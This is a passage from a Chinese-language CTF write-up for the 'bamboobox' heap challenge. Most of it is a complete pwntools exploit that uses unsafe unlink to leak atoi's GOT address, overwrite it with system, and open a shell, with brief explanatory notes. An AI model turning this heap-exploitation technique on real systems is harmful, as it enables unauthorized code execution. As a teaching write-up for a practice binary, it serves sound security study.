p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendafter(b'Please enter the new name of the item:',txt)
def remove(index):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)
ptr = 0x6020C0+0x8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
payload1 = p64(0x0)
payload1 += p64(0x91)
payload1 += p64(fake_fd)
payload1 += p64(fake_bk)
payload1 += b'a'*0x70
payload1 += p64(0x90)
payload1 += p64(0xa0)
#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
payload2 = b'a'*0x18
payload2 += p64(0x602068)
change(0,len(payload2),payload2)
show()
p.recvuntil(b'0 :')
atoi_addr = p.recvline()[1:7]
atoi_addr = int.from_bytes(atoi_addr,'little')
print('atoi_addr------->',hex(atoi_addr))
#gdb.attach(p)
p.interactive()
◆泄露结果:
◆接下来是接收问题了,这里不多做解释
利用1_3
◆找到libc地址后,去libc_database找偏移
◆计算偏移,然后再使用change
修改got表为System,最后传入参数/bin/sh
然后getshell,程序以为调用的是atoi
但实际上是调用system
◆完整exp:
from pwn import *
context(log_level='debug')
p = process('./bamboobox')
def show():
p.sendlineafter(b'Your choice:',b'1')
def add(lens,txt):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendlineafter(b'Please enter the name of item:',txt)
def change(index,lens,txt):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendafter(b'Please enter the new name of the item:',txt)
def remove(index):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)
ptr = 0x6020C0+0x8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
payload1 = p64(0x0)
payload1 += p64(0x91)
payload1 += p64(fake_fd)
payload1 += p64(fake_bk)
payload1 += b'a'*0x70
payload1 += p64(0x90)
payload1 += p64(0xa0)
#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
payload2 = b'a'*0x18
payload2 += p64(0x602068)
change(0,len(payload2),payload2)
show()
p.recvuntil(b'0 :')
atoi_addr = p.recvline()[1:7]
atoi_addr = int.from_bytes(atoi_addr,'little')
print('atoi_addr------->',hex(atoi_addr))
sys_addr = atoi_addr + 0x453a0 - 0x36e90
payload3 = p64(sys_addr)
change(0,len(payload3),payload3)
p.sendlineafter(b'Your choice:',b'/bin/sh\x00')
#gdb.attach(p)
p.interactive()
◆参考博客:PWN入门(3-5-1)- unsortedbin的unlink(基础) (yuque.com)
◆参考视频:星盟安全unlink
◆参考视频:b站up意大利的猫,堆溢出——unlink漏洞
看雪ID:iyheart
https://bbs.kanxue.com/user-home-1008044.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多